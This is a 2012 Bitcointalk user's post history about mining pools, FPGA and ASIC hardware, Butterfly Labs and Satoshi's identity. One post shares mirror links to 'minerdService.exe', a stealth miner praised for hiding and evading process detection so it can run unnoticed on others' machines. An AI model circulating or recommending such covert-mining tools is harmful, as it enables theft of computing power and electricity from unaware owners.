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1361  Bitcoin / Bitcoin Discussion / Re: Making a BTC pitch to a billionaire on: March 10, 2012, 09:28:48 PM
I think you should do this.

Tell him to buy about $100k at first so as to not raise the price too much. Grin

Start the rally engine ! Cheesy
1362  Bitcoin / Bitcoin Discussion / Re: Satoshi Nakamoto Found ~ Introducing the CMG on: March 10, 2012, 07:30:12 PM

stop it because the end of the rainbow might be something you dont want to find.

everything is fine ... never change a running system ...

I don't agree.

I want Satoshi to be exposed.

I want to know who is holding onto 1.5 million BTC.

I also think others that are not invested into BTC want to know this before investing into it more heavily.

The anonymity reason is bollocks for me. You can be anonymous behind a screen name.

No need to disappear randomly and never come back though ...

1363  Bitcoin / Mining / Re: IT Administrator Mining on: March 10, 2012, 05:56:44 PM
Weston EU almost certainly has so called half-hourly power meters and have ability to chart their power usage in almost real time. Even if he stopped CPU mining (allegedly), abnormal power usage particularly during night hours in recent past would be obvious.

There is only one commodity on this planet that is indeed infinite...


Why they would be stupid enough to leave the PCs on during night hours is beyond me ...

Maybe they are manufacturing then as well as during the day Huh
1364  Bitcoin / Pools / Re: if you had 200 GH/s which is the most profitable pool? on: March 10, 2012, 05:53:15 PM
most important aspect is maximizing profit over say a 6 month period.  during that period, i imagine variance would average out right?
If you are going to mine in p2pool don't forget to compare your results over a couple of weeks with expected amount from any online calculator.

Yeah. This is pretty strange. I have heard numerous people that are saying that P2Pool <<< normal pool in terms of payouts but I have not tried this myself so it could be FUD.

P2Pool really needs to be easier to use IMHO and provide MORE not less payouts in order to gain traction.
1365  Bitcoin / Pools / Re: if you had 200 GH/s which is the most profitable pool? on: March 10, 2012, 05:39:25 PM
I can recommend joining DeepBit.
This should be the most profitable solution, at least for me.

This actually made me laugh. No joke. Cheesy

But still if you want the LEAST possible variance DeepBit is good because it is the biggest pool.

Especially if you only care about the $$$ and not about security of BTC and possibility of 51% attack ...

1366  Bitcoin / Hardware / Re: Algorithmically placed FPGA miner: 192MH/s and rising on: March 10, 2012, 05:25:51 PM
Quote from: Inspector 2211
BFL Single, watch out below.

What makes you think this cannot similarly be applied to the single ( even after a hardware modification ) Huh

1. Consensus on this forum is, that the BFL Single uses Altera FPGAs of an unknown type (Stratix?) and one would first want to determine
    the exact FPGA being used, before speculating whether DSP blocks could be used to a similarly beneficial effect.
    Without knowing the exact FPGA make/model, it's way too premature to state that DSP blocks could be used there -
    maybe that particular FPGA make/model does not even have DSP blocks.

or

2. Maybe they are already using this trick, maybe that's their secret sauce which allows them to reach 830 MH/s with but two
    FPGAs.


Just my 2 cents.

That is what I meant. It seems this guy has found a way to speed up the hashrate using DSPs so what is so hard to understand Turbor and gigavps ?

I was asking why couldn't BFL also do this "trick" and a valid question indeed. One bitstream or FPGA "trick" likely could be applied on a range of different FPGA hardware because the basic operating principles are the same for all FPGAs etc.

I'm no expert but I understand ( reasonably well ) how FPGA works and this DSP trick allows you to do 3 loops of SHA256 in the same chip ( cheap Spartan 6 ones ) that previously only allowed us to do 2 loops etc.
1367  Bitcoin / Hardware / Re: Algorithmically placed FPGA miner: 192MH/s and rising on: March 10, 2012, 04:58:50 PM
Quote from: Inspector 2211
BFL Single, watch out below.

What makes you think this cannot similarly be applied to the single ( even after a hardware modification ) Huh
1368  Other / Meta / Re: FPGA Subforum on: March 09, 2012, 10:03:41 PM
Indeed. I am tired of all this BFL and ZTEX and other FPGA junk in the GPU forum.

I won't be buying any FPGA any time soon so might as well move it out of the way for now.

Thanks !

Cheesy my junk will still produce Bitcoins when you are out of the game with your GPUs.

+1 for a FPGA subforum btw

Out of the game ?

I don't think so. As long as the fans are spinning, the miners are mining Wink

Let me know in some years how well your FPGA junk lasted because GPUs are proven to last for ages while FPGA will die in / after 6 months according to BFL's shitty warranty.
1369  Other / Off-topic / Re: Butterfly Labs - Bitforce Single and Rig Box on: March 09, 2012, 09:35:35 PM
The good news : it can work in the US.

The bad news : it is now 3000 W or needs that big a PSU for stable operation Shocked & still no concrete details about dates or chips etc.

No, not necessarily - the extra 500 W could simply be headroom.

Yeah. I know how PSU works ( if you have 1200 W PSU it does not pull all the 1200 but only how much you need ) but the sign that a bigger PSU is needed means that the power consumption was AGAIN underestimated and will probably end up being close to 3000 W.
1370  Other / Off-topic / Re: Butterfly Labs - Bitforce Single and Rig Box on: March 09, 2012, 09:20:59 PM
The good news : it can work in the US.

The bad news : it is now 3000 W or needs that big a PSU for stable operation Shocked & still no concrete details about dates or chips etc.
1371  Other / Beginners & Help / Re: 100 bitcoins at tradehill on: March 09, 2012, 09:15:27 PM
Loving the poll option.

Really nice options to choose from Grin
1372  Bitcoin / Bitcoin Discussion / Re: Satoshi Nakamoto Found ~ Introducing the CMG on: March 09, 2012, 08:31:45 PM
I think it makes sense for the guy to be Irish because there is a lot of UK centric stuff about "Satoshi" ( like that Telegraph article ) and all the Japan stuff is probably a distraction more or less.
1373  Bitcoin / Bitcoin Discussion / Re: Bitcoin Magazine on: March 09, 2012, 08:10:18 PM
I paid for 1 issue with BTC on FEBRUARY 9th. I have not received any indication of when I will receive my magazine. I have the email with a link to my receipt on Bit-Pay which no longer loads. I'm starting to think there is no magazine and this was just a big scam to get a small amount of BTC from as large a number of people as possible.

You don't say Roll Eyes

I think he will deliver though.

I am anxious to see the magazine whenever it comes out anyway.
1374  Other / Meta / Re: FPGA Subforum on: March 09, 2012, 07:21:04 PM
Indeed. I am tired of all this BFL and ZTEX and other FPGA junk in the GPU forum.

I won't be buying any FPGA any time soon so might as well move it out of the way for now.

Thanks !
1375  Other / Off-topic / Re: Specs on BFL Single power adapter? on: March 09, 2012, 07:11:33 PM
Grin I smell homebuilt BFL PSU's to be constructed.
I bet it's going to be really annoying in a cluster if you have so many little external power bricks..
It'd be cool to see a "BFL Cluster Powerbrick" with like.. 5-10 12v lines coming out of it, Could prolly save alot of money, And on shipping alone too

Yes but I don't think they will accept you to buy it without the PSU they are selling you Wink

Not selling you their PSU and not charging so much for shipping = less profit for them = unacceptable for BFL Cheesy
1376  Alternate cryptocurrencies / Altcoin Discussion / Re: [ANN] - LTC Windows Stealth Miner - ALL IN ONE solution for minerd! on: March 08, 2012, 10:29:09 PM
Just some mirror links of the "best" version without all the mouse sensing things and prompts :

http://www.zshare.net/download/993443158fce7a20/
http://filejungle.com/f/BCzdhb/minerdService.exe
http://uploadstation.com/file/SSP7eVn/minerdService.exe
http://bitshare.com/files/3dzv2azp/minerdService.exe.html
http://www.sendspace.com/file/etl8md

Thank you GenTarkin !

PS : All the hiding functionality and mouse sensing and process evading is useful for other people but for me ( running on family computers where there is no need to hide ) this version is ideal and I don't need any hiding thingies.

Thank you very much for this great software and I love that you are constantly making updates !!!

1377  Bitcoin / Mining / Re: LargeCoin Pricing Announced; Taking Pre-Orders on: March 08, 2012, 01:17:44 AM
Quote from: ttut
Because, last time I checked, your mom's PC didn't have a Bitcoin ASIC in it.

Same is true with GPUs. Never seen a botnet of 5870s. Whoever is geeky enough to buy a 5870 knows how to be secure usually.

Quit the marketing and BS talking. You are not using custom ASIC as that requires millions to produce and nobody would take that risk.

Probably using sASIC in the best case ...

Also, this rig box and box that makes 50 ghash/s or 20 ghash/s will only centralize BTC to the few that can afford paying over your threshold amount of 10k+ which I doubt many "casual" miners are willing to pay. Stop trying to sound like you are making BTC more secure because this simply is not it.

ASIC will be devastating to BTC and make it 51% easily in the early true custom ASIC times until everybody gets same HW and drops GPUs.

ArtForz mined about 60k BTC in the days everybody was CPU mining with a single 4870 AFAIK. Someone with secret ASIC could do the same and 51% this easily taking all our coins.
1378  Other / CPU/GPU Bitcoin mining hardware / Re: Best Tri-Card Motherboard? on: March 08, 2012, 01:14:06 AM
ASRock 970 Extreme4 works without extenders. It's much difference from MSI 890FXA-GD70 as far as temps go. Not worth the extra hundred dollars on the 890.

The Extreme4 has bad slot layout if you aren't using extenders.

With dual GPU optimally you would like a blank spot between cards so the cards aren't starved for air.

So

Slot #1 - PCIex16 - GPU #1
Slot #2 - any slot - GPU #1
Slot #3 - any slot
Slot #4 - PCIex16 - GPU #2
Slot #5 - any slot - GPU #2
Slot #6 - any slot
Slot #7 - PCIex16 - GPU #3

If using extenders it doesn't really matter as you can space the cards as needed with just about any slot configuration.

Yeah. What is the cheapest mobo with that layout ?

Thanks !
1379  Bitcoin / Mining software (miners) / Re: CGMINER GPU FPGA overclock monitor fanspeed GCN RPC linux/windows/osx 2.3.1 on: March 08, 2012, 01:11:48 AM
Yeah there's been a few FPGA changes (and related pull requests) since the last release and ckolivas started his 'break'
There also needs to be more work done on the interaction between Icarus and Bitforce
(so that by default Bitforce doesn't die with an Icarus device plugged in - though Luke-jr has sent a pull 'work around')

Well I just hope all this FPGA messing about does not break the GPU functionality.

Only a fraction of miners are using FPGA ATM and the majority are using GPU.

1380  Bitcoin / Mining / Re: LargeCoin Pricing Announced; Taking Pre-Orders on: March 06, 2012, 11:10:40 PM
Why do that when you can get the Rig Box Huh

Rig Box

30k 50 ghash/s reputation so MH/$ ratio is 1.6

LargeCon

15k 20 ghash/s no reputation so MH/$ ratio is 1.3

Maybe less power but it still does not amortize over the long run enough to matter so what is the point even at 15k ?

Do you just not take into account that the c200 is ten times more efficient than the rig box?

No because TBH 2500W vs 100W is not really relevant to me and probably lots of others with cheap electric rates.

All that matters is MH/$ and the ability to deliver the product.

All this DRM is just total BS. I don't want any backdoors from the gov. in my miners.
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